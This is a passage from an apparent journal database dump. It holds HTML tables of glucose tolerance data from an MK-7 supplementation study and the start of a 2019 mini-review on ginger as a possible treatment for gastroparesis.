style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.5</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">3</span></strong></p>\r\n			</td>\r\n			<td style=\"width:74.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.1</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.7</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3</span></p>\r\n			</td>\r\n			<td style=\"width:72.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.4</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">4</span></strong></p>\r\n			</td>\r\n			<td style=\"width:74.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3.7</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.7</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.7</span></p>\r\n			</td>\r\n			<td style=\"width:72.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.2</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:92.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">5</span></strong></p>\r\n			</td>\r\n			<td style=\"width:74.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.5</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.5</span></p>\r\n			</td>\r\n			<td style=\"width:72.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.9</span></p>\r\n			</td>\r\n			<td style=\"width:72.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:78.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.4</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 1:</strong> Venous plasma glucose (p-glucose) at 0, 30, 60, 90 and 120 minutes after OGTT before MK-7 supplementation</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:101.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Study participant</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:72.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">P-glucose 0min</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">P-glucose 30min</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">P-glucose 60min</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">P-glucose 90min</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">P-glucose 120min</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:101.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">1</span></strong></p>\r\n			</td>\r\n			<td style=\"width:72.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.2</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.3</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.1</span></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.1</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:101.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2</span></strong></p>\r\n			</td>\r\n			<td style=\"width:72.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.5</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.7</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.6</span></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.1</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:101.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">3</span></strong></p>\r\n			</td>\r\n			<td style=\"width:72.3pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:101.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">4</span></strong></p>\r\n			</td>\r\n			<td style=\"width:72.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.1</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.9</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.3</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.6</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:101.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">5</span></strong></p>\r\n			</td>\r\n			<td style=\"width:72.3pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.2</span></p>\r\n			</td>\r\n			<td style=\"width:70.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.9</span></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.4</span></p>\r\n			</td>\r\n			<td style=\"width:76.5pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.3</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 2: </strong>Venous plasma glucose (p-glucose) at 0, 30, 60, 90 and 120 minutes after OGTT after MK-7 supplementation</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#4caf50; width:151.15pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Time </span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:156.45pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P-glucose (Before MK-7)</span></strong></p>\r\n			</td>\r\n			<td style=\"background-color:#4caf50; width:153.05pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Trapezoid</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:151.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:156.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.55</span></p>\r\n			</td>\r\n			<td style=\"width:153.05pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:151.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30 </span></p>\r\n			</td>\r\n			<td style=\"width:156.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.925</span></p>\r\n			</td>\r\n			<td style=\"width:153.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.2375</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:151.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">60</span></p>\r\n			</td>\r\n			<td style=\"width:156.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.225</span></p>\r\n			</td>\r\n			<td style=\"width:153.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.075</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:151.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90</span></p>\r\n			</td>\r\n			<td style=\"width:156.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.075</span></p>\r\n			</td>\r\n			<td style=\"width:153.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.15</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:151.15pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">120</span></p>\r\n			</td>\r\n			<td style=\"width:156.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.275</span></p>\r\n			</td>\r\n			<td style=\"width:153.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.675</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:151.15pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:156.45pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Area under the curve </span></p>\r\n			</td>\r\n			<td style=\"width:153.05pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">23.1375</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 3: </strong>Mean value of plasma glucose (P-glucose) at 0, 30, 60, 90 and 120 minutes after OGTT before MK-7 supplementation</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:159.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Time </span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">P-glucose (After MK-7)</span></strong></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:123.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><strong><span style=\"font-size:10.0pt\">Trapezoid</span></strong></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:159.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0</span></p>\r\n			</td>\r\n			<td style=\"width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.675</span></p>\r\n			</td>\r\n			<td style=\"width:123.8pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:159.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30</span></p>\r\n			</td>\r\n			<td style=\"width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.025</span></p>\r\n			</td>\r\n			<td style=\"width:123.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.85</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:159.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">60</span></p>\r\n			</td>\r\n			<td style=\"width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.15</span></p>\r\n			</td>\r\n			<td style=\"width:123.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7.0875</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:159.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">90</span></p>\r\n			</td>\r\n			<td style=\"width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.175</span></p>\r\n			</td>\r\n			<td style=\"width:123.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.6625</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:159.55pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">120</span></p>\r\n			</td>\r\n			<td style=\"width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.175</span></p>\r\n			</td>\r\n			<td style=\"width:123.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.175</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:159.55pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:172.25pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Area under the curve</span></p>\r\n			</td>\r\n			<td style=\"width:123.8pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25.775</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:12px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table 4: </strong>Mean value of plasma glucose (P-glucose) at 0, 30, 60, 90 and 120 minutes after MK-7 supplementation</span></span></p>\r\n</div>\r\n</div>\r\n</div>\r\n','1552273250.pdf','','1552273250.jpg','',0,1,'2019-03-11 08:30:49','2019-03-11 12:28:44',1),(42,20,'20','2019','Ginger as a Possible Alternative Treatment for Gastroparesis','Laila Khan1 and William G Simpson2*','Mini-Review','Ginger-as-a-Possible-Alternative-Treatment-for-Gastroparesis','Ginger as a Possible Alternative Treatment for Gastroparesis','Ginger as a Possible Alternative Treatment for Gastroparesis','Ginger as a Possible Alternative Treatment for Gastroparesis','<p style=\"text-align:center\"><span style=\"font-size:16px\"><span style=\"text-align:center\"><strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Chronicles of Complementary, Alternative &amp; Integrative Medicine</span></strong></span></span></p>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:16px\"><strong><span style=\"font-family:&quot;Times New Roman&quot;,serif\">Ginger as a Possible Alternative Treatment for Gastroparesis</span></strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Laila Khan<sup>1</sup> and William G Simpson<sup>2*</sup></strong></span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:-10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>Department of Family Medicine, Northeastern Health System, Tahlequah, OK, USA</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:-10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2*</sup>Department of Internal Medicine, Northeastern Health System, Tahlequah, OK, USA</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:-10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>2*</sup>Department of Rural Health - Gastroenterology, Oklahoma State University College of Osteopathic Medicine, OK, USA</span></p>\r\n\r\n<p style=\"margin-left:0in; margin-right:-10.0pt\"><span style=\"font-family:Times New Roman,Times,serif\"><strong><sup>*</sup></strong><strong>Corresponding author</strong>:&nbsp; William G. Simpson,&nbsp; Department of Internal Medicine, Northeastern Health System, 205 Harris Circle, Suite 205, 74464, Tahlequah, OK, Tel: +9185066880; Fax: +9185066881; Email: <a href=\"mailto:wsimpson@nhs-ok.org\">wsimpson@nhs-ok.org</a></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Citation: </strong>Khan L and Simpson WG (2019) Ginger as a Possible Alternative Treatment for Gastroparesis. Chronic Complement Altern Integra Med: CCAIM-100003</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Received Date:</strong> 24 January, 2019<strong>;</strong> <strong>Accepted Date: </strong>11 February, 2019<strong>; Published Date:</strong> 11 March, 2019</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Abstract</strong></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Gastroparesis is frequently a difficult gastrointestinal disease to adequately treat with currently available conventional medications producing a variable response at the cost of a potentially significant side effect burden.&nbsp; The medicinal herb ginger has been found effective in the management of nausea and vomiting related to pregnancy and chemotherapy, post-operative nausea and vomiting, and functional dyspepsia. These data, supported by animal model data and human studies demonstrating an augmentation of gastric motility, indicate that ginger may be a potential alternative or adjunct treatment for gastroparesis.</span></p>\r\n','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Keywords</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ginger&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gastroparesis </span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nausea&nbsp; : &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Vomiting</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Introduction</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ginger has been used for thousands of years for both dietary and medicinal purposes. The first recorded medical application was from the fourth century B.C. in China, at which time the proposed uses included stomach upset, diarrhea, nausea, cholera, bleeding, rheumatic disease, and toothache [1]. For centuries derived from the perennial herb Zingiberofficinale from southern Asia, it is now grown throughout the tropics. The root or rhizome is the part consumed in varying preparations: dried, fresh, pickled, crystallized, candied, ground, and powdered.&nbsp; Medicinal formulations are available in capsules, tablets, tinctures, and extracts. It can be broken down into volatile oils (zingiberol) and nonvolatile phenol compounds (gingerols, shogaols, paradols, and zingerone), with the gingerols and shogaols demonstrating the most medicinal effect. These compounds appear to have both anticholinergic and antiserotonergic effects which may contribute to a pharmacologic effect [2].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Research into the medicinal use of ginger has increased significantly, with investigators exploring the benefits in a variety of clinical situations. The largest number of studies have looked at nausea and vomiting, functional dyspepsia, and gastric motility, but there have also been studies that have shown a benefit of ginger in conditions such as ulcerative colitis [3,4], peptic ulcer disease [5], gastrointestinal cancer [6], drug induced liver toxicity [7], and non-alcoholic fatty liver disease [8].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Disordered gastric motility clinically manifests as a gastroparesis [9]. Among gastroparesis patients seen at large referral centers the predominant underlying etiologies include diabetes mellitus (29%), postsurgical (13%), typically following procedures to the stomach and/or distal esophagus, and idiopathic (36%) in which no primary etiology is apparent [10].&nbsp; Patients with this upper gastrointestinal motility disorder display symptoms related to both impaired gastric peristalsis and delayed emptying, but also the loss of accommodation (reflex relaxation of the gastric fundus to accommodate a volume of ingested food).&nbsp; Symptoms range from bloating and pressure after meals, early satiety, persistent abdominal fullness, epigastric pain, and nausea and vomiting which may be intractable.&nbsp; Available treatment options including behavioral modification (eating behavior and dietrary changes), pharmacotherapy, the implantation of a gastric electrical stimulator or even surgery [9].Unfortunately many patients experience significant debility despite best medical efforts.Available reports suggest a possible role for ginger in the management of gastrointestinal motility disorders, notably gastroparesis.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Nausea and vomiting</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A variety of studies have investigated the use of ginger to treat nausea and vomiting, particularly that associated with pregnancy, chemotherapy, and the post-operative state. Animal models have suggested that the mechanism of action is related to gingerol and shogaol inhibition of cholinergic M3 receptors and serotonergic 5-HT3 receptors in the gastrointestinal tract [11].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For pregnancy-associated nausea and vomiting, ginger has shown benefit in two separate randomized controlled trials. The first trial showed decreased self-reported nausea and episodes of vomiting versus placebo [12] and the second showed treatment equivalence with pyridoxine hydrochloride (a commonly recommended therapy for pregnancy-associated nausea) [13].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Nausea and vomiting is a very common side effect of cancer chemotherapy with up to 60% of patients reporting nausea despite prescription antiemetics [14]. Four separate randomized controlled trials, with a total of over 700 patients studied, have shown benefit of ginger for patients undergoing chemotherapyin both adults and children [15-18]. The largest of the studies included greater than 500 adult patients from 23 private oncology groups in New York in their final analysis. Three dosages of ginger (0.5g, 1.0 g, and 1.5 g orally) were compared to placebo. A significant reduction in the self-reported severity of nausea was demonstrated with all doses of ginger, with the greatest benefit in the 0.5 g and 1.0 g groups [16].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Ginger has also shown benefit in regards to nausea and vomiting in surgical patients. A meta-analysis of 10 randomized controlled trials totaling 918 patients concluded that overall post-operative nausea and vomiting (PONV) was decreased with use of ginger [19]. The need for postoperative antiemetics was greatly reduced.&nbsp; A study of 120 laparoscopic gynecologic surgery patients showed equivalence between ginger and metoclopramide versus placebo in terms of PONV and antiemetic requirements [20]. A randomized controlled study of laparoscopic cholecystectomy patients showed superiority of pre-operative ginger (500mg administered 1 hour prior to surgery) versus intravenous Zofran for PONV [21].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Functional Dyspepsia</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Functional dyspepsia is defined as chronic or recurrent epigastric or upper abdominal pain without identified underlying organic gastrointestinal pathology.&nbsp; Although overlapping, there appear to be two syndromes of dyspepsia:&nbsp; postprandial distress syndrome and epigastric pain syndrome [22].&nbsp; Associated symptoms may include bloating, early satiety, fullness, belching, and nausea with or without vomiting, and may be associated with eating. Proposed causes for these symptoms include impaired proximal stomach relaxation in response to meals, increased visceral sensitivity to distension, gastric motility disorders, and alterations in central nervous system function. Given these varying mechanisms, treatment for this condition can be difficult. Trials with H2-blockers and proton-pump inhibitors have only shown slight benefit relative to placebo [23].&nbsp; That said, separating functional dyspepsia and gastroesophageal reflux or a gastroparesis may be a challenge [22].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">One multi-center randomized controlled trial in Italy randomized 126 adults with functional dyspepsia to receive either a combination of ginger and artichoke leaf or placebo twice daily (before lunch and dinner) over 4 weeks [23]. Patients in the treatment group showed significant self-reported symptom reduction after 14 days of treatment, and this benefit was continued for the duration of the study. Specific benefit was noted for nausea, epigastric fullness, epigastric pain, and bloating. The reported treatment benefit for ginger and artichoke extract (measured as a percentage difference between the treatment group and placebo group) was higher than reported in studies of artichoke extract alone, antisecretory medications (such as proton-pump inhibitors and H2-blockers), and prokinetic medications [23]. These patients had a high prevalence of motility disorders and motility-related symptoms, including early satiety, bloating, and fullness [23].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Gastric Motility</strong></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Disorders of gastric motility such as gastroparesis are relatively common. The medications most often prescribed for these conditions, erythromycin (a motilin agonist),domperidone (a dopamine D2 receptor antagonist) and metoclopramide (a dopamine D2 receptor agonist), display variable clinical response and may be associated with significant side effects, making many patients unable to tolerate them [9]. An alternative treatment for this patient population, especially one with minimal side effects and improved tolerance, would be of significant clinical benefit.&nbsp; Studies of ginger have provided evidence that it may be a good alternative for patients that are either unable to tolerate or unwilling to risk the side effects of prescription prokinetic medicines.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Animal models have demonstrated a positive effect of ginger extract on gastric motility.&nbsp; Electromyography demonstrated increased contractions of the reticulum and rumen of sheep after administration of ginger extract [24]. A separate study looked at the effects of ginger extract on rabbit, rat, and guinea-pig small bowel motility. The largest stimulatory effect was noted in rabbit and rat small bowel, with a lesser but still significant effect in guinea-pigs [25]. Interestingly, the mechanism of action was found to be somewhat different between the animal models, with rabbits and rats demonstrating muscarinic receptor involvement and guinea-pigs showing a separate and unknown mechanism. Ex vivo animal preparations used as bioassays were exposed to gingerols and shogoal, active ingredients from ginger, with results suggesting mild antagonistic effects on the M3 and 5-HT3 receptors (possibly involved in alleviating nausea) but no effect on 5-HT4 receptors involved in gastroduodenal motility [26].</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Hu et al. [27] evaluated the physiological effect of ginger versus placebo on gastric motility in patients with functional dyspepsia. After fasting for 8 hours, patients were given either capsules of ginger (1.2g) or placebo, followed 1 hour later by 500mL of soup. Ultrasound was used to measure antral area, fundal area/diameter, and antral contraction frequency; gastric half-emptying time was calculated using the change in antral area seen on ultrasound. The patients in the ginger group demonstrated faster gastric emptying, with median half-emptying time of 12.3 minutes versus 16.1 minutes in the placebo group, as well as demonstrating an increase in antral contractions. Ginger administration did not result in significant changes in GLP-1, motilin or ghrelin [27].&nbsp; A larger study in 24 healthy volunteers, performed in the same method, showed a similar effect on gastric motility. In this study, the median gastric half-emptying time in the test group was 13.1 minutes versus 26.7 minutes in the placebo group [28]. Emptying of liquids clinically is considered a passive process, and no authors have yet evaluated changes in solid phase gastric emptying.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">A double-blind, randomized controlled trial of 12 healthy men showed stimulation of gastroduodenal motility based on stationary manometry [29]. A total of 200mg of ginger extract was administered, and the fasting and post-prandial motility was then assessed. Motility was found to be increased by ginger extract in both the fasting state and after the test meal in the test group.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The stimulatory effect of ginger on gastric motility was applied in a clinical setting in a separate study on adult patients admitted to an intensive care unit with respiratory distress [30]. This study randomized 32 ventilator-dependent patients with nasogastric feedings to either receive 120mg of ginger extract or 1g of coconut oil as placebo. Patients were evaluated for 21 days for end-points including the amount of feeding tolerated within 48 hours, total amount of feeding tolerated, nosocomial pneumonia (attributed primarily to aspiration), number of ICU-free days, number of 